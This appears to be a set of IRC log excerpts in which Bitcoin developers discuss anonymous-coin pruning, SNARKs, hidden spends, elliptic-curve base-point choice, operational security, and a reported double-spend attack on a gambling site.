03:31 < adam3us1> gmaxwell: i dont think u can do it like that tho, because thats what i was trying to do with NIFS and I made and broke a few mechanisms 1996 and concluded you cant do it with DL, hence the IBE connection to NIFS 1998, and then Boneh weil pairing 2001 made it secure/efficient (but esoteric)
03:33 < gmaxwell> ::nods::
03:34 < adam3us1> gmaxwell: but this seems something with lower requirements, more like a new problem statement, so maybe something below IBE can be found. anyway i was excited to have a proof of concept, even weil pairing using... have to think about that next step more :)
03:35 < gmaxwell> I'd thought about using the prior block as an identity parmeter but I didn't see how to get away from simulation by anyone who knew the address... the IBE approach indeed would work.
03:39 < gmaxwell> petertodd: to decode for you, since you may not be familar with IBE stuff: The idea is that the user has a master private key, which results in a master public key. Anyone can take a prior block hash and combine it with the master public key to get a session pubkey which could be used to encrypt a chaincode included in an OP_RETURN. Using the master
private key the user can derrive the session private key, which can then be used to ...
03:39 < gmaxwell> ... reconize transactions using the same session key.
economy from the blockchain is actually an important enough property, kinda ...
18:37 < gmaxwell> ... weird that you couldn't though!
18:38 < petertodd> maaku: for instance a really extreme example is to create a consensus system with no concept of coins at all, that does nothing more than map H(program)->Eval(program), if the program can access blockchain data as part of it's execution, the program itself can implement a bitcoin-like currency!
18:38 < petertodd> maaku: (sorry, that's commit to (H(program), input arguments)->Eval() to be exact)
18:38 < gmaxwell> "best part of this is that you already need 16GB to store the blockchain," ... ::sigh:: this isn't true, and it's also why I was asking about pruning in zero cash. Seems that they don't realize you can prune simply because the reference software doesnt'.
18:39 < petertodd> gmaxwell: or worse, have their marketing hats on...
18:39 < gmaxwell> I don't see any easy and catch free way to get pruning into an anonymous coin though.
18:39 < gmaxwell> petertodd: nah I just don't think they know a lot of people don't.
18:39 < petertodd> gmaxwell: ugh, pruning is in the satoshi whitepaper...
18:40 < gmaxwell> you think they really read it?
18:40 < petertodd> gmaxwell: the interesting part isn't that you can do pruning, but the extent to which the fact that you can is a bad thing
18:41 < gmaxwell> in any case, for these anonymous coin ideas what you end up having to have is a database of encrypted coins which have been created, and another database of non-encrypted coins that have been spent.
18:42 < maaku> petertodd: ok, i understand the feature request now. do you know a way in which this might be implemented?
18:42 < gmaxwell> The ZK proof when you spend is of a statement like "This decrypted coin exists in encrypted form in the encrypted coin database". And then the newly decrypted coin is added to the database of spent coins.
18:42 < petertodd> gmaxwell: though the database can be split up; you can think of both databases as cryptographic accumulators supporting VerExists() and conversely VerNoExist(), and thus get succinct proofs of either for SPV.
18:43 < gmaxwell> so you can't prune the encrypted coin database because you can't tell which entries have been spent. And you can't prune the spent coins database because then the coins could just be respent.
18:43 < gmaxwell> The coins database can be append only, but the spent coins database needs an efficient VerNoExist() so it must be key ordered.
18:44 < gmaxwell> key ordered makes it hard to outsource efficiently. (requires tracking the network)
18:44 < maaku> petertodd: if script was homoiconic it would be easier to attach a script which takes the transaction as input and outputs scripts to be attached to the outputs
18:44 < maaku> and those could be carried forward
18:44 < petertodd> maaku: well, in Bitcoin you need a very invasive soft-fork. vitalik's ethereum is in those directions, but the implementation is yuck
18:44 < Alanius> couldn't one store the spent coins in a merkle mountain range? Or am I mixing things up here?
18:45 < petertodd> gmaxwell: right, with spent that's the same problem as UTXO proofs. although you can design it so that the spent database need not be held in entirely for any one miner
18:45 < maaku> Alanius: "the spent coins database needs an efficient VerNoExist() so it must be key ordered"
18:45 < Alanius> ah, mmr'
18:45 < Alanius> s do not allow proof of non-existence?
18:45 < petertodd> Alanius: MMR can be used for unspent only, and I'm going to be very interested to find out if that's what they did
18:46 < petertodd> Alanius: they do, but the proof-of-non-existance is O(m log n) in size for a span of m blocks
18:46 < petertodd> Alanius: which you can do in zk-snark fashion, but that's costly
18:46 < maaku> petertodd: i think that's misleading from the context of his question
18:46 < maaku> Alanius: you can only prove non-existence based on what is being indexed
18:47 < maaku> MMR is indexed based on insertion order
18:47 < maaku> so you can prove, for example, that no coin was spent in between two adjacently spent coins
18:47 < jtimon> petertodd: I like a generic scheme too, I'm just not contrained to softforks, seriously I don't know what your claim is yet what solution and what problem are you referring to from my link?
18:47 < maaku> which is pretty useless
18:48 < Alanius> maaku: thanks! very intuitive explanation :)
18:48 < maaku> jtimon: he wants to attach arbitrary validation rules to outputs, and have those propogate in arbitrary ways in future transactions
18:48 < petertodd> maaku: but that's the thing, it's *not* useless, if you can prove when the coin was created, you naturally have a reasonable limit on the non-existance proof, which is a way that you could get something akin to pruning in zerocoin
18:48 < petertodd> maaku: basically the cost to make the zk-proof would increase as the coin gets older, but my understanding is that cost blows up very fast with current zk-snark technology
18:49 < gmaxwell> yea, so my thought for pruning is that when you create a coin you could created it with a generation number (which is made public by the ZK proof)
18:49 < gmaxwell> where 'generation number' means like "what month was it created in"
18:49 < petertodd> gmaxwell: yup
18:50 < gmaxwell> and then you can say that coins become unspendable after so many months, allowing you to prune both data sets.
18:50 < gmaxwell> But its kinda ugly.
18:50 < Alanius> that would partition the anonymity set
18:50 < gmaxwell> as it reduces your anonymity set and makes your coins expire.. and we can't even tell how many coins have expired!
18:50 < petertodd> gmaxwell: but why make them unspendable? just force you to prove correct manipulation of the spent set in your tx
18:51 < gmaxwell> petertodd: hm. and store the new spent set root? so you never close off an old spent set, it just becomes more espensive to spend from it?
18:51 < gmaxwell> I suppose thats true.
18:51 < petertodd> gmaxwell: well, doesn't even have to be more expensive, just more annoying
18:52 < gmaxwell> You still have the anonymity set reduction though, alas.
18:52 < petertodd> gmaxwell: basically if you're spent token set is a single radix tree, then you have a bunch of data that needs accessibility, to do better, shard that
18:52 < petertodd> gmaxwell: sure, but it's still easily inline with what coinjoin can do (anonymity set of tx's happening at roughly the same time)
18:53 < gmaxwell> oh it's much better since same time could be defined to be a month or more.
18:53 < petertodd> exactly!
18:53 < gmaxwell> it's still not free however.
18:53 < petertodd> and you want some amount of time anyway, as mining needs to imply at least having the data, so you want mining to be tied to, say, the last month of data
18:53 < gmaxwell> also there are some other tradeoffs which come into play.
18:53 < petertodd> ?
18:54 < gmaxwell> The ZK proofs are going to be most efficient if they have no branching, just a constant number of hash evaluations and some muxes to get data on the right side of the hash input.
18:54 < gmaxwell> One of the plus sides of pruning is that it should make the ZK proofs faster.
18:54 < petertodd> gmaxwell: so make a tree of every month from now until eternity
18:55 < petertodd> ok, sure
18:55 < gmaxwell> "once we have these coins we put in the hash tree; 64-depth key (2^64); when want to redeem; reveal the serial number, and can reveal 64-hashes before in the tree; "
18:55 < gmaxwell> (quoting from the talk)
18:55 < gmaxwell> sounds like they fixed the tree size at 64 deep so that they'd 'never' run out of room.
18:55 < petertodd> (note how they must have some mechanism to make collisions hard...)
18:56 < gmaxwell> With pruning we can do better and say, have a 2^33 deep tree. Which is fine for a months of transactions.
18:56 < petertodd> (oh, actually, no that's not true, you don't need that)
18:56 < petertodd> true, although the risk of accidentally picking someone elses serial number goes up
18:57 < gmaxwell> petertodd: no need to have a risk of that, you just use a >128 bit random serial number.
18:57 < gmaxwell> one turn of the compression function takes 512 bits.
18:58 < gmaxwell> In there you have to fit the value of the coin, a P2SH hash for the pubkey needed to spend it, and a serial number.
18:58 < petertodd> gmaxwell: wait, so how does that help? the tree is indexed right, so if the first 33 bits match I have a problem
18:58 < jtimon> for scalable "anonymous" transactions, more than zerocoin-like stuff I like petertodd's inputs only approach with an expiry on the UTXI entries
18:58 < gmaxwell> petertodd: no no, it's insertion ordered.
18:59 < petertodd> gmaxwell: oh right, doh
18:59 < petertodd> gmaxwell: quite correct
19:00 < petertodd> gmaxwell: well basically, the depth of that tree is purely your anonymity set
19:00 < gmaxwell> yes
19:00 < gmaxwell> say a coin looks like this [128 bit serial number, 64 bit future extensibility, 64 bit value, 256 bit P2SH hash] you add it to an insertion ordered tree.
19:01 < petertodd> jtimon: it's only scalable if you can figure out the right mining incentives and solve the data-hiding attack sufficiently
19:01 < gmaxwell> And then to emerge COIN you just produce a ZK proof that H(COIN) is in the tree.. which takes Log2(size) hashes under the ZK proof.
19:01 < gmaxwell> so if you require multiple trees for pruing purposes, then you can make them reasonably small at the cost of reducing the anonymity set.
19:03 < jtimon> petertodd, I don't know the data-hiding attack, but from what I hear from maaku what you're talking about is new, can I read a summary somewhere?
19:03 < petertodd> jtimon: https://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03307.html
15:11 < maaku> jtimon: http://pastebin.com/vUnrtLME
15:11 < TD> also i doubt any such system would be generic
15:11 < adam3us> gmaxwell: see i optimized the zkp range proof a lot manually in problem specific ways and still came to 1.5kB
15:11 < jtimon> thanks maaku
15:11 < TD> but sure, we can call them SNARKs instead
15:12 < adam3us> gmaxwell, TD: so i must be being dumb if their compiler can outperform me :).. but yes i stayed well clear of pairing
15:12 < TD> they use a lot of very complicated techniques
15:13 < TD> i only understand some of it
15:13 < amiller> with pinocchio you can create a proof for SHA1 in 15 seconds on a single thread desktop computer
15:13 < amiller> i'm pretty tinyram beats that
15:13 < gmaxwell> and the proof is a couple pairing group elements.
15:13 < adam3us> TD: its very powerful if that scales, so we can forgive pairing
15:13 < adam3us> gmaxwell: thats amazing
15:14 < TD> i thought it was 8 elements
15:14 < adam3us> and is this non IP-encrusted?
15:14 < warren> My BFL arrives today, far too late to be useful.
15:15 < gmaxwell> Well they have another backend that uses fiat-shamir with locally testable codes... the proofs are bigger but not astronomically large.
15:15 < adam3us> warren: still waiting for mine its been stuck as "fulfilled" but not shipped
15:15 < gmaxwell> (like zerocoin size)
15:15 < amiller> adam3us, there are currently three competing snarks projects, tinyram http://www.scipr-lab.org/tinyram pantry https://github.com/srinathtv/pantry and pinocchio https://research.microsoft.com/en-us/projects/verifcomp/
15:16 < gmaxwell> adam3us: I did some searches a while back and didn't find anything, but who knows what of their optimizations they may have patented in the last year.
15:16 < adam3us> do yu know if any of them have not covered it with lots of patents
15:16 < warren> adam3us: I missed the "use paypal tos to force BFL refund" thread by 1 day.
15:16 < amiller> adam3us, of these tinyram isn't out yet, pantry is fully open source, pinocchio is mostly open source except for the backend which they're working on reimplemnting open source
15:16 < gmaxwell> If they do, it'll be sad because the history of crypto says that patented crypto is dead on arrival.
15:16 < adam3us> warren: i missed that outright... bought a part upgrade to the 600GH and left order for the smaller 5GH
15:17 < adam3us> gmaxwell, amiller, TD: ok you convinced me I have to learn what they are doing!
15:18 < amiller> adam3us, http://eprint.iacr.org/2012/215.pdf this is the GGPR scheme underlying pinocchio and pantry
15:18 < adam3us> jtimon: i think the committed tx topic did not continue when you lost connection
15:18 < jtimon> I still don't understand commited coins, gmaxwell perfectly explained my worries "he's asking about the case where you are d in a chain of hidden spends. a->b b->c c->d And he's confused about how you know that a->q didn't happend first."
15:19 < gmaxwell> jtimon: when you are d, and get paid by c you demand he provide you the required keys to trade your payment back to entirely public inputs.
15:19 < amiller> adam3us, actually GGPR underlies tinyram as well
15:19 < adam3us> jtimon: yes so the thing is if a->q happened it would be on the block chain, the encrypted/hashed tx and a second H(a), the sender must prvoide info to convince you that isnt the case, ie that that is a forgery/spam
15:19 < gmaxwell> jtimon: and when you do so, because you have a's public key, you can see that a->b is the first a spend in the chain.
15:20 < warren> adam3us: I sold this BFL on ebay. The first attempt failed with no bids. The second attempt succeeded with a bid. BFL forced the first expired listing offline with a "trademark/counterfeit" claim while leaving the high priced successful bids untouched...
15:20 < adam3us> warren: wow thats hostile
15:20 < jtimon> so a->b is in hidden form in the chain
15:20 < warren> I'm pretty sure that's abusing the law to manipulate perception of value.
15:21 < jtimon> b->c must also be in hidden form in the chain, right?
15:21 < adam3us> yes
15:21 < adam3us> it not offchain, its onchain but in encrypted/hashed form
15:21 < adam3us> such that anyone can see which are spends of the same key, they just dont know which key
15:22 < jtimon> and when I receive C->D, C also gives me proof that a->b, b->c and c->d where actually signed properly
15:22 < jtimon> were
15:23 < gmaxwell> well he gives you the keys required for you to be able to check for yourself. (it's not in zero knoweldge)
15:23 < adam3us> jtimon: yes, he just gives you a sym key that allows you to decrypt
15:23 < adam3us> jtimon: you can validate it yourself then as the bit of the block chain you care about is now decryptable and visible to you
15:24 < jtimon> so now I want to pay D -> E in public form
15:24 < gmaxwell> you would make those secrets public at that point, so the whole network could validate what you wanted before.
15:24 < jtimon> couldn't C try to publicly pay C -> C2 first ?
15:24 < adam3us> jtimon: you have to publish all the committed ones or the recipient otherwise needs keys for a-<c
15:25 < adam3us> jtimon: no because of the trick that a public spend correlates with the committed spends
15:25 < adam3us> as a public spend incudes pub key (not just address), and H(pub) can be calculated fro it, and H(pub) is attached cleartext to each committed spend
15:25 < jtimon> but no one is seeing any relation between hiden (commited is confusing sorry) spends
15:26 < jtimon> ok, so every hiden spent refers to the previous one
15:26 < maaku> hidden is a much better term
15:26 < jtimon> explicitly
15:26 < gmaxwell> jtimon: to make d -> e in public you disclose the keys, so the relations then become clear.
15:26 < maaku> yes, these are not blinded
15:27 < jtimon> but not until I publicly pay d -> e ?
15:27 < gmaxwell> right.
15:27 < jtimon> then at any time c -> c2 or b -> b2 could be bradcasted
15:27 < jtimon> no?
15:28 < maaku> yes, but it would be meaningless
15:28 < gmaxwell> No.
15:28 < gmaxwell> (as maaku says)
15:28 < adam3us> not really because people receiving them can see they are spent
15:28 < gmaxwell> Because everyone with the keys can see which comittments were first.
15:28 < maaku> c2 or b2 would have the keys necessary to go check the chain and realize they were double-spent
15:28 < adam3us> as with (c->c2) in clear form, you know public key of C, and that is attached to the original spend as H(c)
15:28 < gmaxwell> and the hidden -> public validation checks this too.
15:28 < adam3us> eeven if they didnt
15:29 < jtimon> ok, so then every hiden spent references the previous hiden spent
15:30 < adam3us> jtimon: the recipient of a hidden spend needs keys back to the first non hidden ancestor
15:30 < adam3us> jtimon: actually with optimiation its just one sym key you disclose at any time
15:30 < jtimon> let's say I have d -> e (public) prepared at home but I chose not to broadcast it until next week
15:30 < adam3us> jtimon: the sym key gives you enough to navigate backwards, decrypt, then validate normally
15:30 < gmaxwell> yea, because you could change the keys in the encrypted data.
15:31 < jtimon> there's 3 possibilities
15:31 < gmaxwell> s/change/chain/
15:31 < gmaxwell> jtimon: I think you've thought yourself into a rut, this isn't that complicated.
15:32 < adam3us> jtimon: i think the thing your maybe missing is that, a public spend is also validated against its inputs, and the inputs are encrypted and so its rejected
15:32 < jtimon> 1) When miners receive public(C -> C2), they realise it is invalid because something in hidden(C->D) indicates it
15:33 < jtimon> hidden(C->D) is already in the chain
15:33 < adam3us> jtimon: think you meant c->d2, yes they can see tht hidden(c->d) was with the same key c as clear c->d2 so its invalid
15:34 < jtimon> ok, I got it
15:34 < adam3us> jtimon: so if clear spend of c->d2 comes after hidden spend c->d then d2 is a double spend and rejected; its interesting because in its hidden form the miner knows almost nothing so he can apply no policy
15:34 < gmaxwell> it would still work if they couldn't however, certantly easier that they can.
15:34 < jtimon> but no, I meant c2 to express that belongs to the same person
15:35 < jtimon> so, c->d publicly states {C, H(C->D)}
15:35 < adam3us> gmaxwell: ? what mean "it would still work if they couldn't however, certantly easier that they can."
15:36 < adam3us> hidden(c->d) = E(tx), H(c) approximatel
15:36 < jtimon> isn't this also traceable?
15:36 < gmaxwell> adam3us: I mean the requirement that miners can reject a double spend isn't a strict requirement. So long as the reciever can identify the first spend thats in the chain thats enough for the scheme to work.
15:36 < adam3us> jtimon: so if you send c->d2 publicly now anyone can compute H(c) and see wait that was alrady spent
15:36 < gmaxwell> jtimon: once the data is made public, sure.
15:36 < adam3us> gmaxwell: ah yes
15:37 < adam3us> jtimon: before its public its utterly hidden except to the people in the path
15:37 < adam3us> jtimon: you cant even tell is a path, the hidden tx are opaque blobs and H(c) is useless if you dont know c
15:38 < adam3us> amiller, gmaxwell, TD: surely SCIP-coin can be a game changer if there is an efficient non-patented version. or maybe the community can buy them out :)
15:39 < gmaxwell> then the other conversation we had was where I pointed out that using a sufficiently powerful (tm) zero knoweldge proof system you could do the private->public change without making the keys public. (I wrote about this at length in a forum thread of its own)
15:39 < gmaxwell> ( https://bitcointalk.org/index.php?topic=277389.0 )
15:40 < adam3us> gmaxwell: think i missed that forum thread sounds like what you said above about SCIP
10:19 < gmaxwell> he doesn't agree, sadly. E.g. he has a definition of 'fully rigid' that doesn't include setting the base point: http://safecurves.cr.yp.to/rigid.html
10:19 < gmaxwell> I'll forward you email. one sec.
10:19 < adam3us> gmaxwell: i think we've got the same assumptions but to say it is easy to get two base points G & H which you can readily see no one knows the private key for (eg G=hash2curve(pi), H=hash2curve(e) for pi & e)
10:20 < adam3us> gmaxwell: i mean no one knows the discrete log of them to anything in particular, and certainly no one knows x st H=xG
10:21 < gmaxwell> adam3us: sure, but you have to pick your base point that way.. and it doesn't appear that anything anyone is likely to use right now does.
10:21 < adam3us> gmaxwell: i mean otherwie its a joke find H=hash2curve(pi), compute x=random, then set G=x^-1H => H=xG
10:21 < gmaxwell> adam3us: thats what I sent DJB.
10:21 < adam3us> gmaxwell: holy moly i am going to hit DJB! shame on twitter
10:22 < gmaxwell> (I mean I sent him an example sage notebook where I do exactly that, G=x^-1H )
10:25 < gmaxwell> I can agree with him that it's not the most important thing... but it's also so easily avoided as an issue. I suspect he may have been disinclined to agree with me because his curves wouldn't meet the criteria (I have no clue where his base points came from).
10:27 < adam3us> gmaxwell: reading this bit now "What about rigid choices of base points?" from http://safecurves.cr.yp.to/rigid.html
10:28 < gmaxwell> Oh, wow, he must have added that after my email discussion with him!
10:30 < adam3us> gmaxwell: hmm he still disagrees however, he claims it doesnt matter however this maybe another one of those "depend what the use case is" things. to me i think the base should be fairly chosen or even a small set of fairly chosen base points should be presented
10:31 < adam3us> gmaxwell: thats rather narrow minded - if someone needs G & H then they cant use his G. they have to ignore it and safely generate two more
10:32 < adam3us> gmaxwell: which is a big onus to put on the implementor now they have to get into complex EC math arguments and understand the curve generation and limitations. big area for mistake or community rejection of their proposal
10:34 < gmaxwell> adam3us: I think the smallest possible x / y for performance reasons (makes a multiply easier) isn't /terrible/. I didn't realize thats what he'd done for his own curves.
10:34 < gmaxwell> But yea, I'm glad you agree that its stupid to not get this right.
10:35 < adam3us> gmaxwell: : oh thats not too bad. u have to consider also that someone could adapt the curve params to have a known discrete log small x,y. but as the curve params are chosen deterministically with rigid criteria and plausible seed
10:36 < adam3us> gmaxwell: then its probably ok
10:36 < gmaxwell> adam3us: yea, funny that I managed to not gather that from his emails. I only realized it after reading the update to the page and then looking at the values.
10:37 < adam3us> gmaxwell: he probably never said it - unstated assumption
10:42 < cfields> https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=0cb112f7400187275da81a05a9ad0534f1430139
10:42 < cfields> all determinism problems in binutils (that i'm aware of) fixed.
10:42 < sipa> \o/
10:44 < adam3us> btw about bitcoin implies need for end2end airgap model, someone i talked to said they discovered an egress vpn tunnel via their custom firewall scripts (pretty hard core security geek to notice) within a few ays of talking to me. seems like skype is a risk suggest not running it at all, running in vm (maybe there are people with skype & vm escape zerodays)
or running it on a burner laptop on a different network literally
10:44 < adam3us> for people who seemingly are incapable of installing jabber client & otr because they want to do bitcoin stuff, but thats too complex :|
10:46 < adam3us> advice: paranoia *= 2 if you have bitcoins non airgapped, exchange accounts with bitcoins or doing bitcoin dev work. my prediction this security attack to the level of being willing to burn 0days to get into suspected intersting places ramping up
10:48 < adam3us> even airgapped bitcoins are at risk if you spend them. you need some better way to check the deposit address on exchanges. they need to use unique per user chain codes
10:48 < K1773R> setup the honeypots!
10:54 < gmaxwell> I've been using canary coins for a long time, never had one trigger, so I don't know if they work.
10:55 < adam3us> probably IMO baseband processor hacked or other smart-phone vector to attack google authenticators are the next step. it'll take the shine out of bitcoin if non-tech users get ripped (or even reasonably tech people who dont know how to setup hard core secure environments)
10:55 < gmaxwell> (canary coins = leave an easily found unencrypted wallet.dat on bastion hosts; hopefully someone who compromises the host moves the coins right away thus alerting you)
10:57 < adam3us> gmaxwell: yes. there maybe different attacks tho - random ones, and targeted ones aimed at people with known early bitcoins or who might be suspected to have early bitcoins. unfortunately i am in the suspected but actually not - have to tolerate the attacks, but without the coin hoard :)
10:58 < adam3us> and we saw jdillions pgp was compromise and his private decrypte msgs posted on the forum. pgp on line computer is probably not good in this environment
10:58 < gmaxwell> adam3us: well thats true for lots of us. I worry about people following me home. It's not nice to fear that some idiot might think that mugging you might yield a hundred million dollars .. without actually having the hundred million dollars. :P
11:01 < adam3us> gmaxwell: precisely. you cant afford or dont want to spend 1/3 your salary in using 100-millionaire private security type setups (body guards). so its kind of a shitty situation. you are exposed to the risks without the upside.
11:02 < adam3us> gmaxwell: this is why my bct sig line said for a long time "I am not satoshi" => i dont have many coins
11:03 < cfields> hmm, who should i ping about gitian stuff?
11:03 < gmaxwell> devrandom
11:03 < cfields> i need a raring builder
11:03 < cfields> ok. he comes around irc, right?
11:04 < cfields> nm, i see him in -dev
11:04 < adam3us> also OS upgrades are stupidly insecure. they are checking signatures not hashes. they cant check hashes because the new module wasnt coded at the time. we need something like laurie's cert transparency for OS patch hash transparency; as is possibly a weak point is the ubuntu/fedora etc package builder, or for anything x509 code signed another hacked CA
11:05 < cfields> ping Luke-Jr
11:10 < adam3us> so what about end to end address security. if you and another user have a trezor. say you need to pay someone 1btc or something non-trivial how do you know you have the recipients address, if you are using an online computer to create the offline signable transaction
11:11 < adam3us> seems like you need to use an address signed by the sender's base keypair (and encrypted with your base keypair) for end2end privacy and address authenticity
11:13 < adam3us> new armory feature I think you could make it a non-transferable signature probably would be slightly better if the payment request receiver is airgapped.
11:13 < adam3us> maybe this could be done as a payment request extension
11:14 < petertodd> adam3us: addresses aren't useful; identities are
11:14 < petertodd> adam3us: people keep trying to re-invent PGP...
11:14 < adam3us> this bitcoin thing is getting ahead of its own operational security tools - trajectory could be disrupted, or stupid central trust solutions or static addresses used as a counter-measure
11:15 < adam3us> petertodd: right, but when you send someone address via an unsecured connection and online computer (which maybe subject to 0-day compromise even with best precautions as the bitcoin stakes increase)
11:16 < adam3us> petertodd: currently you make no attempt to prove the identity owning the address to the offline wallet abot to make thepayent. yu just read if off the screen of a potentially compromised system which can put someone elses address on teh screeen
11:16 < petertodd> adam3us: yeah, but doing fancy crypto with addresses doesn't change a thing - the address still doesn't involve a human-meaningful identity
11:16 < petertodd> adam3us: well yeah, that's what the payment protocol is for, and for the decentralized case, add OpenPGP support and teach TREZOR about the WoT (have fun with that!)
11:17 < adam3us> petertodd: well there's no trust anchor. in the same way we exchange pgp fingerprints, we need to exchange like static vanity/random encryption address, and use that for encryption
11:17 < adam3us> petertodd: pff payment protcool is signed by an online ssl signing key
11:18 < petertodd> adam3us: sure, but would you rather exchange a single purpose bitcoin addr or a actually using for stuff in general pgp fingerprint?
11:18 < adam3us> petertodd: i bet 99% of web servers will sign it with their existing SSL key
11:18 < petertodd> adam3us: that's the only way it could possibly work
11:18 < petertodd> adam3us: payment protocol doesn't do any good if the identity involved != the identity of the website the user just visited
11:18 < petertodd> adam3us: sad but true
11:18 < jgarzik_> adam3us, scrolling back a bit, what do you mean RE OS upgrades when you say "they cant check hashes because the new module wasnt coded at the time."
11:19 < adam3us> petertodd: what i mean is we have the infrastructure available, but just lack the tools. offline wallet use base address as identity, but hash on biz card, pgp sign as attribute etc
11:19 < jgarzik_> adam3us, RPMs sign file hashes
03:36 < gmaxwell> amiller: you may find interesting: https://bitcointalk.org/index.php?topic=327767.0 looks like somewhat strong evidence of a 25% hashpower miner using it to exploit a gambling site.
03:36 < gmaxwell> (I'd say conclusive, but I think it's at least slightly plausable that someone else is framing them)
03:41 < michagogo|cloud> gmaxwell: could you give an example of a way they could be framed?
03:42 < michagogo|cloud> Finding their mining node or something?
03:42 < gmaxwell> e.g.
03:42 < gmaxwell> 3. Going further, I found the address the earnings from attack were sent to: 12e8322A9YqPbGBzFU6zXqn7KuBEHrpAAv
03:42 < gmaxwell> https://blockchain.info/tx/292e7354fbca1847f0cbdc87a7d62bc37e58e8b6fa773ef4846b959f28c42910
03:42 < gmaxwell> And then part of these funds (125 BTC) was sent to ghash.io's mining address:
03:42 < gmaxwell> https://blockchain.info/tx/48168cf655d0ac0c7c2733288ca72e69ecd515a9a0ab2821087eb33deb7c6962
03:42 < gmaxwell> ...
03:42 < gmaxwell> The attacker could have just paid some of their loot to ghash.io to make it look like they were in on it.
03:44 < phantomcircuit> gmaxwell, that's a lot of coin to frame them
03:44 < gmaxwell> To be clear: I think it's more likely that the simpler explination is correct. I'm just trying to behave responsibly by making it clear that I haven't seen enough to eliminate all doubt.
03:45 < gmaxwell> phantomcircuit: if you're a competing pool... and the funds were the procedes of an attack.. I don't see why losing half of them to frame someone wouldn't be a great plan.
03:46 < phantomcircuit> there isn't really anybody competing with them
03:46 < phantomcircuit> iirc most of their hashing power is from cex.io
03:46 < phantomcircuit> who aren't going to care about this at all
03:47 < gmaxwell> also, I expect that if there are attacks going on whats actually happening is that GHash.io is doing hashpower for hire instead of attacking themselves.
03:48 < gmaxwell> which would also explain all the evidence and changes the surface of culpability somewhat. (and more importantly, teaches us a slightly different lesson)
03:49 < phantomcircuit> gmaxwell, 45k transaction fee
03:49 < phantomcircuit> heh
03:49 < gmaxwell> e.g. the payments aren't to frame, they're payments for the hashpower they bought.
03:49 < gmaxwell> step 1) buy hashpower for a small markup over its worth, step 2) double spend the crap out of some shitty gambling site, step 3) profit.
03:51 < gmaxwell> just requires someone with a bunch of hashpower which is greedy or stupid enough to go along with people buying their hashpower. Sadly, lots of people sold hashpower on pirate40's service (confirmed by the SEC).
03:53 < gmaxwell> another interesting point is that they could have profitably (well, positive EV) performed this attack even if the gambling site had been required 6 confirms, if they really did have 25% hashpower behind the attack.
03:54 < gmaxwell> (25% reverses 6 confirms 5% of the time)
03:55 < michagogo|cloud> gmaxwell: so I'm guessing house edge is <5%?
03:55 < phantomcircuit> gmaxwell, except that screwing with unconfirmed transactions isn't likely to freak anybody out
03:55 < phantomcircuit> screwing with 6 confirm transactions is
03:56 < michagogo|cloud> Also you have the coinbases that you lose if you fail
03:56 < gmaxwell> michagogo|cloud: yea, these betting sites always have really small edges, enough that they almost certantly fail the https://en.wikipedia.org/wiki/Kelly_criterion for the largest bets they allow
03:58 < gmaxwell> michagogo|cloud: yea, you just need the attack to be profitable enough that you offset the coinbase loss expected. Which you can do because the absolute return on the attack is infinite (well, bounded by the casino's bank account, maximum bet size, and number of txn you can put in a block) even though the relative return is only some percentage.
03:59 < gmaxwell> this isn't to say that attacking 0 confirmed stuff isn't much better for the attacker, it is... but just 6 confirms doesn't stop such an attack from being postive EV if you can buy the hashpower to do it at a small markup.
04:01 < gmaxwell> Because the site does 0 confirm you can double spend them with no hashpower at all. I don't really understand why the attacker bothered with the hashpower.
04:01 < gmaxwell> Your success rate is lower, sure, but your costs are lower.
04:01 < warren> Despite this, people don't seem concerned about the real problem, massive centralization.
04:02 < warren> And I'm thrilled by the huge positive response to the p2pool grant yesterday.
04:02 < warren> <crickets>
04:02 < phantomcircuit> gmaxwell, the obvious answer is because they already had it
04:04 < gmaxwell> warren: dude, no one gives a shit about technology except us. :( This is why I think paying people to mine on p2pool is important. Or rather, it's not that people don't care, it's that it's really mentally expensive to sort this stuff out so people don't think about it. If you tell them upfront that they'll make more by switching to p2pool, then they
don't have to think through the other stuff.
04:05 < phantomcircuit> lol it's funny cause really nobody cares
04:05 < warren> gmaxwell: make p2pool more scalable and easy enough for a caveman, maybe with no apparent share orphans/DOA with share merging, and tell them the pool's fees are lower than anything else, and then entice people to join with random donation subsidies.
04:06 < warren> currently I'm not confident that donating is well spent to attract miners who will stay
04:06 < phantomcircuit> warren, people are hella lazy
04:06 < phantomcircuit> once it's setup nobody is changing shit
04:07 < warren> it's rather scary that things are moving beyond mere centralized pools ... huge hashrate for hire
04:07 < gmaxwell> warren: perhaps but it will be months at best before its not a huge pita. and most of that isn't fixing p2pool. The fact that people are trying to run their mining on hardware that can't run bitcoind is at least as big of a barrier as anything inside p2pool.
04:07 < gmaxwell> warren: most people using bitcoin have no idea what role mining fills in the system.
04:07 < warren> gmaxwell: indeed
04:08 < gmaxwell> I reported here week before last of my expirence at the SV bitcoin users group. Lots of exicted people
even generally technically competent ones (uh with technical CVs that include a lot of php and ruby...), almost none with any real clue how bitcoin works.
04:08 < gmaxwell> Even miners often have no clue what role mining serves.
04:09 < warren> past assumptions always assumed that large quantities of greedy miners will secure the network
04:09 < warren> centralized pools broke that
04:09 < warren> and greed can lead to even worse things
04:10 < gmaxwell> well, someone made the mistake of assuming miners were rational and well informed.
04:10 < michagogo|cloud> 11:05:45 <warren> gmaxwell: make p2pool more scalable and easy enough for a caveman, maybe with no apparent share orphans/DOA with share merging, and tell them the pool's fees are lower than anything else, and then entice people to join with random donation subsidies.
04:10 < michagogo|cloud> AIUI, p2pool's model inherently has many stales
04:10 < gmaxwell> the fucking stales are irrelevant. gah. stop @#$#@$ derailing things with that warren.
04:10 < warren> michagogo|cloud: please don't get into this right now, you're demonstrating the most common misunderstanding of p2pool
04:11 < gmaxwell> warren: and you encouraged him to accidentally! see how that works?
04:11 < michagogo|cloud> But the payout mechanism means that all that matters is your stales aren't proportionally more than others'
04:11 < michagogo|cloud> Okay, sorry
04:12 < gmaxwell> michagogo|cloud: :) if nothing else there is a major UI problem there though. Because it's hard to get people to as sophicated an understanding as that.
04:12 < michagogo|cloud> Lol, #$#@$ got detected as a channel
04:13 < warren> one of the proposed counter-measures against the selfish miner thing was the honest pools forming a cartel. If p2pool were to grow huge, that would become impossible. Now that being possible at all is scary.
04:20 < warren> gmaxwell: I don't see any fix for the greedy miners seeking profit by selling their hashes issue.
05:52 < adam3us> so is there any reason not everyone is mining on p2pool?
05:53 < sipa> compexity & variance
05:54 < gmaxwell> Yep, plus ignorance and lazy.
05:54 < gmaxwell> People think pool fees of 3% aren't much...
05:55 < warren> adam3us: https://bitcointalk.org/index.php?topic=329860.0
05:55 < sipa> when they're less than your monthly variance, you won't notice it anway :)
